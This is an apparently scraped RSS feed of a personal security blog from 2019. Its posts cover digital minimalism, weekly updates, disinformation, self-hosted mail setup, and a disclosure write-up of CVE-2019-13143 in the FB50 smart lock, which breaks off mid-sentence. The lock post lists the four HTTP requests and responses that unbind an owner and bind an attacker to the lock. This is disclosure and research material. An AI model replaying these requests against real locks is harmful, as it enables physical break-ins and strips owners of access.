575]]></description><link>https://icyphox.sh/blog/pycon-wrap-up</link><pubDate>Tue, 15 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/pycon-wrap-up</guid></item><item><title>Thoughts on digital minimalism</title><description><![CDATA[<p>Ah yes, yet another article on the internet on this beaten to death
576subject. But this is inherently different, since it’s <em>my</em> opinion on
577the matter, and <em>my</em> technique(s) to achieve “digital minimalism”.</p>
578
579<p>According to me, minimalism can be achieved on two primary fronts –
580the phone & the computer. Let’s start with the phone. The daily carry.
581The device that’s on our person from when we get out of bed, till we get
582back in bed.</p>
583
584<h3 id="the-phone">The phone</h3>
585
586<p>I’ve read about a lot of methods people employ to curb their phone
587usage. Some have tried grouping “distracting” apps into a separate
588folder, and this supposedly helps reduce their usage. Now, I fail to see
589how this would work, but YMMV. Another technique I see often is using
590a time governance app—like OnePlus’ Zen Mode—to enforce how much
591time you spend using specific apps, or the phone itself. I’ve tried this
592for myself, but I constantly found myself counting down the minutes
593after which the phone would become usable again. Not helpful.</p>
594
595<p>My solution to this is a lot more brutal. I straight up uninstalled the
596apps that I found myself using too often. There’s a simple principle
597behind it – if the app has a desktop alternative, like Twitter,
598Reddit, etc. use that instead. Here’s a list of apps that got nuked from
599my phone:</p>
600
601<ul>
602<li>Twitter</li>
603<li>Instagram (an exception, no desktop client)</li>
604<li>Relay for Reddit</li>
605<li>YouTube (disabled, ships with stock OOS)</li>
606</ul>
607
608<p>The only non-productive app that I’ve let remain is Clover,
609a 4chan client. I didn’t find myself using it as much earlier, but we’ll see how that
610holds up. I’ve also allowed my personal messaging apps to remain, since
611removing those would be inconveniencing others.</p>
612
613<p>I must admit, I often find myself reaching for my phone out of habit
614just to check Twitter, only to find that its gone. I also subconsciously
615tap the place where its icon used to exist (now replaced with my mail
616client) on my launcher. The only “fun” thing left on my phone to do is
617read or listen to music. Which is okay, in my opinion.</p>
618
619<h3 id="the-computer">The computer</h3>
620
621<p>I didn’t do anything too nutty here, and most of the minimalism is
622mostly aesthetic. I like UIs that get out of the way. </p>
623
624<p>My setup right now is just a simple bar at the top showing the time,
625date, current volume and battery %, along with my workspace indicators.
626No fancy colors, no flashy buttons and sliders. And that’s it. I don’t
627try to force myself to not use stuff – after all, I’ve reduced it
628elsewhere. :)</p>
629
630<p>Now the question arises: Is this just a phase, or will I stick to it?
631What’s going to stop me from heading over to the Play Store and
632installing those apps back? Well, I never said this was going to be
633easy. There’s definitely some will power needed to pull this off.
634I guess time will tell.</p>
635]]></description><link>https://icyphox.sh/blog/digital-minimalism</link><pubDate>Sat, 05 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/digital-minimalism</guid></item><item><title>Weekly status update, 09/17–09/27</title><description><![CDATA[<p>It’s a lazy Friday afternoon here; yet another off day this week thanks to my
636uni’s fest. My last “weekly” update was 10 days ago, and a lot has happened
637since then. Let’s get right into it!</p>
638
639<h3 id="my-switch-to-alpine">My switch to Alpine</h3>
640
641<p>Previously, I ran Debian with Buster/Sid repos, and ever since this happened</p>
642
643<div class="codehilite"><pre><span></span><code>$ dpkg --list <span class="p">|</span> wc -l
644<span class="m">3817</span>
645
646<span class="c1"># or something in that ballpark</span>
647</code></pre></div>
648
649<p>I’ve been wanting to reduce my system’s package count.</p>
650
651<p>Thus, I began my search for a smaller, simpler and lighter distro with a fairly
652sane package manager. I did come across Dylan Araps’
653<a href="https://getkiss.org">KISS Linux</a> project, but it seemed a little too hands-on
654for me (and still relatively new). I finally settled on
655<a href="https://alpinelinux.org">Alpine Linux</a>. According to their website:</p>
656
657<blockquote>
658 <p>Alpine Linux is a security-oriented, lightweight Linux distribution based
659 on musl libc and busybox.</p>
660</blockquote>
661
662<p>The installation was a breeze, and I was quite surprised to see WiFi working
663OOTB. In the past week of my using this distro, the only major hassle I faced
664was getting my Minecraft launcher to run. The JRE isn’t fully ported to <code>musl</code>
665yet.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup> The solution to that is fairly trivial and I plan to write about it
666soon. (hint: it involves chroots)</p>
667
668<p><img src="/static/img/rice-2019-09-27.png" alt="rice" /></p>
669
670<h3 id="packaging-for-alpine">Packaging for Alpine</h3>
671
672<p>On a related note, I’ve been busy packaging some of the stuff I use for Alpine
673– you can see my personal <a href="https://github.com/icyphox/aports">aports</a>
674repository if you’re interested. I’m currently working on packaging Nim too, so
675keep an eye out for that in the coming week.</p>
676
677<h3 id="talk-selection-at-pycon-india">Talk selection at PyCon India!</h3>
678
679<p>Yes! My buddy Raghav (<a href="https://twitter.com/_vologue">@_vologue</a>) and I are
680going to be speaking at PyCon India about our recent smart lock security
681research. The conference is happening in Chennai, much to our convenience.
682If you’re attending too, hit me up on Twitter and we can hang!</p>
683
684<h3 id="other">Other</h3>
685
686<p>That essentially sums up the <em>technical</em> stuff that I did. My Russian is going
687strong, my reading however, hasn’t. I have <em>yet</em> to finish those books! This
688week, for sure.</p>
689
690<p>Musically, I’ve been experimenting. I tried a bit of hip-hop and chilltrap, and
691I think I like it? I still find myself coming back to metalcore/deathcore.
692Here’s a list of artists I discovered (and liked) recently:</p>
693
694<ul>
695<li><a href="https://www.youtube.com/watch?v=r3uKGwcwGWA">Before I Turn</a></li>
696<li>生 Conform 死 (couldn’t find any official YouTube video, check Spotify)</li>
697<li><a href="https://www.youtube.com/watch?v=66eFK1ttdC4">Treehouse Burning</a></li>
698<li><a href="https://www.youtube.com/watch?v=m-w3XM2PwOY">Lee McKinney</a></li>
699<li><a href="https://www.youtube.com/watch?v=cUibXK7F3PM">Berried Alive</a> (rediscovered)</li>
700</ul>
701
702<p>That’s it for now, I’ll see you next week!</p>
703
704<div class="footnotes">
705<hr />
706<ol>
707<li id="fn-1">
708<p>The <a href="https://aboullaite.me/protola-alpine-java/">Portola Project</a> <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
709</li>
710</ol>
711</div>
712]]></description><link>https://icyphox.sh/blog/2019-09-27</link><pubDate>Fri, 27 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-09-27</guid></item><item><title>Weekly status update, 09/08–09/17</title><description><![CDATA[<p>This is something new I’m trying out, in an effort to write more frequently
713and to serve as a log of how I’m using my time. In theory, I will write this post
714every week. I’ll need someone to hold me accountable if I don’t. I have yet to decide on
715a format for this, but it will probably include a quick summary of the work I did,
716things I read, IRL stuff, etc.</p>
717
718<p>With the meta stuff out of the way, here’s what went down last week!</p>
719
720<h3 id="my-discovery-of-the-xxiivv-webring">My discovery of the XXIIVV webring</h3>
721
722<p>Did you notice the new fidget-spinner-like logo at the bottom? Click it! It’s a link to
723the <a href="https://webring.xxiivv.com">XXIIVV webring</a>. I really like the idea of webrings.
724It creates a small community of sites and enables sharing of traffic among these sites.
725The XXIIVV webring consists mostly of artists, designers and developers and gosh, some
726of those sites are beautiful. Mine pales in comparison.</p>
727
728<p>The webring also has a <a href="https://github.com/buckket/twtxt">twtxt</a> echo chamber aptly
729called <a href="https://webring.xxiivv.com/hallway.html">The Hallway</a>. twtxt is a fantastic project
730and its complexity-to-usefulness ratio greatly impresses me. You can find my personal
731twtxt feed at <code>/twtxt.txt</code> (root of this site).</p>
732
733<p>Which brings me to the next thing I did this/last week.</p>
734
735<h3 id="twsh-a-twtxt-client-written-in-bash"><code>twsh</code>: a twtxt client written in Bash</h3>
736
737<p>I’m not a fan of the official Python client, because you know, Python is bloat.
738As an advocate of <em>mnmlsm</em>, I can’t use it in good conscience. Thus, began my
739authorship of a truly mnml client in pure Bash. You can find it <a href="https://github.com/icyphox/twsh">here</a>.
740It’s not entirely useable as of yet, but it’s definitely getting there, with the help
741of <a href="https://nerdypepper.me">@nerdypepper</a>.</p>
742
743<h3 id="other">Other</h3>
744
745<p>I have been listening to my usual podcasts: Crime Junkie, True Crime Garage,
746Darknet Diaries & Off the Pill. To add to this list, I’ve begun binging Vice’s CYBER.
747It’s pretty good – each episode is only about 30 mins and it hits the sweet spot,
748delvering both interesting security content and news.</p>
749
750<p>My reading needs a ton of catching up. Hopefully I’ll get around to finishing up
751“The Unending Game” this week. And then go back to “Terrorism and Counterintelligence”.</p>
752
753<p>I’ve begun learning Russian! I’m really liking it so far, and it’s been surprisingly
754easy to pick up. Learning the Cyrillic script will require some relearning, especially
755with letters like в, н, р, с, etc. that look like English but sound entirely different.
756I think I’m pretty serious about learning this language – I’ve added the Russian keyboard
757to my Google Keyboard to aid in my familiarization of the alphabet. I’ve added the <code>RU</code>
758layout to my keyboard map too:</p>
759
760<pre><code>setxkbmap -option 'grp:alt_shift_toggle' -layout us,ru
761</code></pre>
762
763<p>With that ends my weekly update, and I’ll see you next week!</p>
764]]></description><link>https://icyphox.sh/blog/2019-09-17</link><pubDate>Tue, 17 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-09-17</guid></item><item><title>Disinformation demystified</title><description><![CDATA[<p>As with the disambiguation of any word, let’s start with its etymology and definiton.
765According to <a href="https://en.wikipedia.org/wiki/Disinformation">Wikipedia</a>,
766<em>disinformation</em> has been borrowed from the Russian word — <em>dezinformatisya</em> (дезинформа́ция),
767derived from the title of a KGB black propaganda department.</p>
768
769<blockquote>
770 <p>Disinformation is false information spread deliberately to deceive.</p>
771</blockquote>
772
773<p>To fully understand disinformation, especially in the modern age, we need to understand the
774key factors of any successful disinformation operation:</p>
775
776<ul>
777<li>creating disinformation (what)</li>
778<li>the motivation behind the op, or its end goal (why)</li>
779<li>the medium used to disperse the falsified information (how)</li>
780<li>the actor (who)</li>
781</ul>
782
783<p>At the end, we’ll also look at how you can use disinformation techniques to maintain OPSEC.</p>
784
785<p>In order to break monotony, I will also be using the terms “information operation”, or the shortened
786forms – “info op” & “disinfo”.</p>
787
788<h3 id="creating-disinformation">Creating disinformation</h3>
789
790<p>Crafting or creating disinformation is by no means a trivial task. Often, the quality
791of any disinformation sample is a huge indicator of the level of sophistication of the
792actor involved, i.e. is it a 12 year old troll or a nation state?</p>
793
794<p>Well crafted disinformation always has one primary characteristic — “plausibility”.
795The disinfo must sound reasonable. It must induce the notion it’s <em>likely</em> true.
796To achieve this, the target — be it an individual, a specific demographic or an entire
797nation — must be well researched. A deep understanding of the target’s culture, history,
798geography and psychology is required. It also needs circumstantial and situational awareness,
799of the target.</p>
800
801<p>There are many forms of disinformation. A few common ones are staged videos / photographs,
802recontextualized videos / photographs, blog posts, news articles & most recently — deepfakes.</p>
803
804<p>Here’s a tweet from <a href="https://twitter.com/thegrugq">the grugq</a>, showing a case of recontextualized
805imagery:</p>
806
807<blockquote class="twitter-tweet" data-dnt="true" data-theme="dark" data-link-color="#00ffff">
808<p lang="en" dir="ltr">Disinformation.
809<br><br>
810The content of the photo is not fake. The reality of what it captured is fake. The context it’s placed in is fake. The picture itself is 100% authentic. Everything, except the photo itself, is fake.
811<br><br>Recontextualisation as threat vector.
812<a href="https://t.co/Pko3f0xkXC">pic.twitter.com/Pko3f0xkXC</a>
813</p>— thaddeus e. grugq (@thegrugq)
814<a href="https://twitter.com/thegrugq/status/1142759819020890113?ref_src=twsrc%5Etfw">June 23, 2019</a>
815</blockquote>
816
817<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
818
819<h3 id="motivations-behind-an-information-operation">Motivations behind an information operation</h3>
820
821<p>I like to broadly categorize any info op as either proactive or reactive.
822Proactively, disinformation is spread with the desire to influence the target
823either before or during the occurence of an event. This is especially observed
824during elections.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup>
825In offensive information operations, the target’s psychological state can be affected by
826spreading <strong>fear, uncertainty & doubt</strong>, or FUD for short.</p>
827
828<p>Reactive disinformation is when the actor, usually a nation state in this case,
829screws up and wants to cover their tracks. A fitting example of this is the case
830of Malaysian Airlines Flight 17 (MH17), which was shot down while flying over
831eastern Ukraine. This tragic incident has been attributed to Russian-backed
832separatists.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup>
833Russian media is known to have desseminated a number of alternative & some even
834conspiratorial theories<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, in response. The number grew as the JIT’s (Dutch-lead Joint
835Investigation Team) investigations pointed towards the separatists.
836The idea was to <strong>muddle the information</strong> space with these theories, and as a result,
837potentially correct information takes a credibility hit.</p>
838
839<p>Another motive for an info op is to <strong>control the narrative</strong>. This is often seen in use
840in totalitarian regimes; when the government decides what the media portrays to the
841masses. The ongoing Hong Kong protests is a good example.<sup class="footnote-ref" id="fnref-4"><a href="#fn-4">4</a></sup> According to <a href="https://www.npr.org/2019/08/14/751039100/china-state-media-present-distorted-version-of-hong-kong-protests">NPR</a>:</p>
842
843<blockquote>
844 <p>Official state media pin the blame for protests on the “black hand” of foreign interference,
845 namely from the United States, and what they have called criminal Hong Kong thugs.
846 A popular conspiracy theory posits the CIA incited and funded the Hong Kong protesters,
847 who are demanding an end to an extradition bill with China and the ability to elect their own leader.
848 Fueling this theory, China Daily, a state newspaper geared toward a younger, more cosmopolitan audience,
849 this week linked to a video purportedly showing Hong Kong protesters using American-made grenade launchers to combat police.
850 …</p>
851</blockquote>
852
853<h3 id="media-used-to-disperse-disinfo">Media used to disperse disinfo</h3>
854
855<p>As seen in the above example of totalitarian governments, national TV and newspaper agencies
856play a key role in influence ops en masse. It guarantees outreach due to the channel/paper’s
857popularity.</p>
858
859<p>Twitter is another, obvious example. Due to the ease of creating accounts and the ability to
860generate activity programmatically via the API, Twitter bots are the go-to choice today for
861info ops. Essentially, an actor attempts to create “discussions” amongst “users” (read: bots),
862to push their narrative(s). Twitter also provides analytics for every tweet, enabling actors to
863get realtime insights into what sticks and what doesn’t.
864The use of Twitter was seen during the previously discussed MH17 case, where Russia employed its troll
865factory — the <a href="https://en.wikipedia.org/wiki/Internet_Research_Agency">Internet Research Agency</a> (IRA)
866to create discussions about alternative theories.</p>
867
868<p>In India, disinformation is often spread via YouTube, WhatsApp and Facebook. Political parties
869actively invest in creating group chats to spread political messages and memes. These parties
870have volunteers whose sole job is to sit and forward messages.
871Apart from political propaganda, WhatsApp finds itself as a medium of fake news. In most cases,
872this is disinformation without a motive, or the motive is hard to determine simply because
873the source is impossible to trace, lost in forwards.<sup class="footnote-ref" id="fnref-5"><a href="#fn-5">5</a></sup>
874This is a difficult problem to combat, especially given the nature of the target audience.</p>
875
876<h3 id="the-actors-behind-disinfo-campaigns">The actors behind disinfo campaigns</h3>
877
878<p>I doubt this requires further elaboration, but in short:</p>
879
880<ul>
881<li>nation states and their intelligence agencies</li>
882<li>governments, political parties</li>
883<li>other non/quasi-governmental groups</li>
884<li>trolls</li>
885</ul>
886
887<p>This essentially sums up the what, why, how and who of disinformation. </p>
888
889<h3 id="personal-opsec">Personal OPSEC</h3>
890
891<p>This is a fun one. Now, it’s common knowledge that
892<strong>STFU is the best policy</strong>. But sometimes, this might not be possible, because
893afterall inactivity leads to suspicion, and suspicion leads to scrutiny. Which might
894lead to your OPSEC being compromised.
895So if you really have to, you can feign activity using disinformation. For example,
896pick a place, and throw in subtle details pertaining to the weather, local events
897or regional politics of that place into your disinfo. Assuming this is Twitter, you can
898tweet stuff like:</p>
899
900<ul>
901<li>“Ugh, when will this hot streak end?!”</li>
902<li>“Traffic wonky because of the Mardi Gras parade.”</li>
903<li>“Woah, XYZ place is nice! Especially the fountains by ABC street.”</li>
904</ul>
905
906<p>Of course, if you’re a nobody on Twitter (like me), this is a non-issue for you.</p>
907
908<p>And please, don’t do this:</p>
909
910<p><img src="/static/img/mcafeetweet.png" alt="mcafee opsecfail" /></p>
911
912<h3 id="conclusion">Conclusion</h3>
913
914<p>The ability to influence someone’s decisions/thought process in just one tweet is
915scary. There is no simple way to combat disinformation. Social media is hard to control.
916Just like anything else in cyber, this too is an endless battle between social media corps
917and motivated actors.</p>
918
919<p>A huge shoutout to Bellingcat for their extensive research in this field, and for helping
920folks see the truth in a post-truth world.</p>
921
922<div class="footnotes">
923<hr />
924<ol>
925<li id="fn-1">
926<p><a href="https://www.vice.com/en_us/article/ev3zmk/an-expert-explains-the-many-ways-our-elections-can-be-hacked">This</a> episode of CYBER talks about election influence ops (features the grugq!). <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
927</li>
928
929<li id="fn-2">
930<p>The <a href="https://www.bellingcat.com/category/resources/podcasts/">Bellingcat Podcast</a>’s season one covers the MH17 investigation in detail. <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
931</li>
932
933<li id="fn-3">
934<p><a href="https://en.wikipedia.org/wiki/Malaysia_Airlines_Flight_17#Conspiracy_theories">Wikipedia section on MH17 conspiracy theories</a> <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p>
935</li>
936
937<li id="fn-4">
938<p><a href="https://twitter.com/gdead/status/1171032265629032450">Chinese newspaper spreading disinfo</a> <a href="#fnref-4" class="footnoteBackLink" title="Jump back to footnote 4 in the text.">↩</a></p>
939</li>
940
941<li id="fn-5">
942<p>Use an adblocker before clicking <a href="https://www.news18.com/news/tech/fake-whatsapp-message-of-child-kidnaps-causing-mob-violence-in-madhya-pradesh-2252015.html">this</a>. <a href="#fnref-5" class="footnoteBackLink" title="Jump back to footnote 5 in the text.">↩</a></p>
943</li>
944</ol>
945</div>
946]]></description><link>https://icyphox.sh/blog/disinfo</link><pubDate>Tue, 10 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/disinfo</guid></item><item><title>Setting up my personal mailserver</title><description><![CDATA[<p>A mailserver was a long time coming. I’d made an attempt at setting one up
947around ~4 years ago (ish), and IIRC, I quit when it came to DNS. And
948I almost did this time too.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
949
950<p>For this attempt, I wanted a simpler approach. I recall how terribly
951confusing Dovecot & Postfix were to configure and hence I decided to look
952for a containerized solution, that most importantly, runs on my cheap $5
953Digital Ocean VPS — 1 vCPU and 1 GB memory. Of which only around 500 MB
954is actually available. So yeah, <em>pretty</em> tight.</p>
955
956<h3 id="whats-available">What’s available</h3>
957
958<p>Turns out, there are quite a few of these OOTB, ready to deply solutions.
959These are the ones I came across:</p>
960
961<ul>
962<li><p><a href="https://poste.io">poste.io</a>: Based on an “open core” model. The base install is open source
963and free (as in beer), but you’ll have to pay for the extra stuff.</p></li>
964<li><p><a href="https://mailu.io">mailu.io</a>: Free software. Draws inspiration from poste.io,
965but ships with a web UI that I didn’t need. </p></li>
966<li><p><a href="https://mailcow.email">mailcow.email</a>: These fancy domains are getting ridiculous. But more importantly
967they need 2 GiB of RAM <em>plus</em> swap?! Nope.</p></li>
968<li><p><a href="https://mailinabox.email">Mail-in-a-Box</a>: Unlike the ones above, not a Docker-based solution but definitely worth
969a mention. It however, needs a fresh box to work with. A box with absolutely
970nothing else on it. I can’t afford to do that.</p></li>
971<li><p><a href="https://github.com/tomav/docker-mailserver/">docker-mailserver</a>: <strong>The winner</strong>. </p></li>
972</ul>
973
974<h3 id="so-docker-mailserver">So… <code>docker-mailserver</code></h3>
975
976<p>The first thing that caught my eye in the README:</p>
977
978<blockquote>
979 <p>Recommended:</p>
980
981 <ul>
982 <li>1 CPU</li>
983 <li>1GB RAM</li>
984 </ul>
985
986 <p>Minimum:</p>
987
988 <ul>
989 <li>1 CPU</li>
990 <li>512MB RAM</li>
991 </ul>
992</blockquote>
993
994<p>Fantastic, I can somehow squeeze this into my existing VPS.
995Setup was fairly simple & the docs are pretty good. It employs a single
996<code>.env</code> file for configuration, which is great.
997However, I did run into a couple of hiccups here and there.</p>
998
999<p>One especially nasty one was <code>docker</code> / <code>docker-compose</code> running out
1000of memory.</p>
1001
1002<pre><code>Error response from daemon: cannot stop container: 2377e5c0b456: Cannot kill container 2377e5c0b456226ecaa66a5ac18071fc5885b8a9912feeefb07593638b9a40d1: OCI runtime state failed: runc did not terminate sucessfully: fatal error: runtime: out of memory
1003</code></pre>
1004
1005<p>But it eventually worked after a couple of attempts.</p>
1006
1007<p>The next thing I struggled with — DNS. Specifically, the with the step where
1008the DKIM keys are generated<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup>. The output under <br />
1009<code>config/opendkim/keys/domain.tld/mail.txt</code> <br />
1010isn’t exactly CloudFlare friendly; they can’t be directly copy-pasted into
1011a <code>TXT</code> record. </p>
1012
1013<p>This is what it looks like.</p>
1014
1015<pre><code>mail._domainkey IN TXT ( "v=DKIM1; h=sha256; k=rsa; "
1016 "p=<key>"
1017 "<more key>" ) ; ----- DKIM key mail for icyphox.sh
1018</code></pre>
1019
1020<p>But while configuring the record, you set “Type” to <code>TXT</code>, “Name” to <code>mail._domainkey</code>,
1021and the “Value” to what’s inside the parenthesis <code>( )</code>, <em>removing</em> the quotes <code>""</code>.
1022Also remove the part that appears to be a comment <code>; ----- ...</code>.</p>
1023
1024<p>To simplify debugging DNS issues later, it’s probably a good idea to
1025point to your mailserver using a subdomain like <code>mail.domain.tld</code> using an
1026<code>A</code> record.
1027You’ll then have to set an <code>MX</code> record with the “Name” as <code>@</code> (or whatever your DNS provider
1028uses to denote the root domain) and the “Value” to <code>mail.domain.tld</code>.
1029And finally, the <code>PTR</code> (pointer record, I think), which is the reverse of
1030your <code>A</code> record — “Name” as the server IP and “Value” as <code>mail.domain.tld</code>.
1031I learnt this part the hard way, when my outgoing email kept getting
1032rejected by Tutanota’s servers.</p>
1033
1034<p>Yet another hurdle — SSL/TLS certificates. This isn’t very properly
1035documented, unless you read through the <a href="https://github.com/tomav/docker-mailserver/wiki/Installation-Examples">wiki</a>
1036and look at an example. In short, install <code>certbot</code>, have port 80 free,
1037and run </p>
1038
1039<div class="codehilite"><pre><span></span><code>$ certbot certonly --standalone -d mail.domain.tld
1040</code></pre></div>
1041
1042<p>Once that’s done, edit the <code>docker-compose.yml</code> file to mount <code>/etc/letsencrypt</code> in
1043the container, something like so:</p>
1044
1045<div class="codehilite"><pre><span></span><code><span class="nn">...</span>
1046
1047<span class="nt">volumes</span><span class="p">:</span>
1048 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">maildata:/var/mail</span>
1049 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">mailstate:/var/mail-state</span>
1050 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">./config/:/tmp/docker-mailserver/</span>
1051 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">/etc/letsencrypt:/etc/letsencrypt</span>
1052
1053<span class="nn">...</span>
1054</code></pre></div>
1055
1056<p>With this done, you shouldn’t have mail clients complaining about
1057wonky certs for which you’ll have to add an exception manually.</p>
1058
1059<h3 id="why-would-you">Why would you…?</h3>
1060
1061<p>There are a few good reasons for this:</p>
1062
1063<h4 id="privacy">Privacy</h4>
1064
1065<p>No really, this is <em>the</em> best choice for truly private
1066email. Not ProtonMail, not Tutanota. Sure, they claim so and I don’t
1067dispute it. Quoting Drew Devault<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>,</p>
1068
1069<blockquote>
1070 <p>Truly secure systems do not require you to trust the service provider.</p>
1071</blockquote>
1072
1073<p>But you have to <em>trust</em> ProtonMail. They run open source software, but
1074how can you really be sure that it isn’t a backdoored version of it?</p>
1075
1076<p>When you host your own mailserver, you truly own your email without having to rely on any
1077third-party.
1078This isn’t an attempt to spread FUD. In the end, it all depends on your
1079threat model™.</p>
1080
1081<h4 id="decentralization">Decentralization</h4>
1082
1083<p>Email today is basically run by Google. Gmail has over 1.2 <em>billion</em>
1084active users. That’s obscene.
1085Email was designed to be decentralized but big corps swooped in and
1086made it a product. They now control your data, and it isn’t unknown that
1087Google reads your mail. This again loops back to my previous point, privacy.
1088Decentralization guarantees privacy. When you control your mail, you subsequently
1089control who reads it.</p>
1090
1091<h4 id="personalization">Personalization</h4>
1092
1093<p>Can’t ignore this one. It’s cool to have a custom email address to flex.</p>
1094
1095<p><code>x@icyphox.sh</code> vs <code>gabe.newell4321@gmail.com</code></p>
1096
1097<p>Pfft, this is no competition.</p>
1098
1099<div class="footnotes">
1100<hr />
1101<ol>
1102<li id="fn-1">
1103<p>My <a href="https://twitter.com/icyphox/status/1161648321548566528">tweet</a> of frustration. <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
1104</li>
1105
1106<li id="fn-2">
1107<p><a href="https://github.com/tomav/docker-mailserver#generate-dkim-keys">Link</a> to step in the docs. <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
1108</li>
1109
1110<li id="fn-3">
1111<p>From his <a href="https://drewdevault.com/2018/08/08/Signal.html">article</a> on why he doesn’t trust Signal. <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p>
1112</li>
1113</ol>
1114</div>
1115]]></description><link>https://icyphox.sh/blog/mailserver</link><pubDate>Thu, 15 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/mailserver</guid></item><item><title>Picking the FB50 smart lock (CVE-2019-13143)</title><description><![CDATA[<p>(<em>originally posted at <a href="http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure">SecureLayer7’s Blog</a>, with my edits</em>)</p>
1116
1117<h3 id="the-lock">The lock</h3>
1118
1119<p>The lock in question is the FB50 smart lock, manufactured by Shenzhen
1120Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands
1121across many ecommerce sites, and has over, an estimated, 15k+ users.</p>
1122
1123<p>The lock pairs to a phone via Bluetooth, and requires the OKLOK app from
1124the Play/App Store to function. The app requires the user to create an
1125account before further functionality is available.
1126It also facilitates configuring the fingerprint,
1127and unlocking from a range via Bluetooth.</p>
1128
1129<p>We had two primary attack surfaces we decided to tackle — Bluetooth (BLE)
1130and the Android app.</p>
1131
1132<h3 id="via-bluetooth-low-energy-ble">Via Bluetooth Low Energy (BLE)</h3>
1133
1134<p>Android phones have the ability to capture Bluetooth (HCI) traffic
1135which can be enabled under Developer Options under Settings. We made
1136around 4 “unlocks” from the Android phone, as seen in the screenshot.</p>
1137
1138<p><img src="/static/img/bt_wireshark.png" alt="wireshark packets" /></p>
1139
1140<p>This is the value sent in the <code>Write</code> request:</p>
1141
1142<p><img src="/static/img/bt_ws_value.png" alt="wireshark write req" /></p>
1143
1144<p>We attempted replaying these requests using <code>gattool</code> and <code>gattacker</code>,
1145but that didn’t pan out, since the value being written was encrypted.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
1146
1147<h3 id="via-the-android-app">Via the Android app</h3>
1148
1149<p>Reversing the app using <code>jd-gui</code>, <code>apktool</code> and <code>dex2jar</code> didn’t get us too
1150far since most of it was obfuscated. Why bother when there exists an
1151easier approach – BurpSuite.</p>
1152
1153<p>We captured and played around with a bunch of requests and responses,
1154and finally arrived at a working exploit chain.</p>
1155
1156<h3 id="the-exploit">The exploit</h3>
1157
1158<p>The entire exploit is a 4 step process consisting of authenticated
1159HTTP requests:</p>
1160
1161<ol>
1162<li>Using the lock’s MAC (obtained via a simple Bluetooth scan in the
1163vicinity), get the barcode and lock ID</li>
1164<li>Using the barcode, fetch the user ID</li>
1165<li>Using the lock ID and user ID, unbind the user from the lock</li>
1166<li>Provide a new name, attacker’s user ID and the MAC to bind the attacker
1167to the lock</li>
1168</ol>
1169
1170<p>This is what it looks like, in essence (personal info redacted).</p>
1171
1172<h4 id="request-1">Request 1</h4>
1173
1174<pre><code>POST /oklock/lock/queryDevice
1175{"mac":"XX:XX:XX:XX:XX:XX"}
1176</code></pre>
1177
1178<p>Response:</p>
1179
1180<pre><code>{
1181 "result":{
1182 "alarm":0,
1183 "barcode":"<BARCODE>",
1184 "chipType":"1",
1185 "createAt":"2019-05-14 09:32:23.0",
1186 "deviceId":"",
1187 "electricity":"95",
1188 "firmwareVersion":"2.3",
1189 "gsmVersion":"",
1190 "id":<LOCK ID>,
1191 "isLock":0,
1192 "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
1193 "lockPwd":"000000",
1194 "mac":"XX:XX:XX:XX:XX:XX",
1195 "name":"lock",
1196 "radioName":"BlueFPL",
1197 "type":0
1198 },
1199 "status":"2000"
1200}
1201</code></pre>
1202
1203<h4 id="request-2">Request 2</h4>
1204
1205<pre><code>POST /oklock/lock/getDeviceInfo
1206
1207{"barcode":"https://app.oklok.com.cn/app.html?id=<BARCODE>"}
1208</code></pre>
1209
1210<p>Response:</p>
1211
1212<pre><code> "result":{
1213 "account":"email@some.website",
1214 "alarm":0,
1215 "barcode":"<BARCODE>",
1216 "chipType":"1",
1217 "createAt":"2019-05-14 09:32:23.0",
1218 "deviceId":"",
1219 "electricity":"95",
1220 "firmwareVersion":"2.3",
1221 "gsmVersion":"",
1222 "id":<LOCK ID>,
1223 "isLock":0,
1224 "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
1225 "lockPwd":"000000",
1226 "mac":"XX:XX:XX:XX:XX:XX",
1227 "name":"lock",
1228 "radioName":"BlueFPL",
1229 "type":0,
1230 "userId":<USER ID>
1231 }
1232</code></pre>
1233
1234<h4 id="request-3">Request 3</h4>
1235
1236<pre><code>POST /oklock/lock/unbind
1237
1238{"lockId":"<LOCK ID>","userId":<USER ID>}
1239</code></pre>
1240
1241<h4 id="request-4">Request 4</h4>
1242
1243<pre><code>POST /oklock/lock/bind
1244
1245{"name":"newname","userId":<USER ID>,"mac":"XX:XX:XX:XX:XX:XX"}
1246</code></pre>
1247
1248<h3 id="thats-it-the-scary-stuff">That’s it! (& the scary stuff)</h3>
1249
1250<p>You should have the lock transferred to your account. The severity of this
1251issue lies in the fact that the original owner completely loses access to
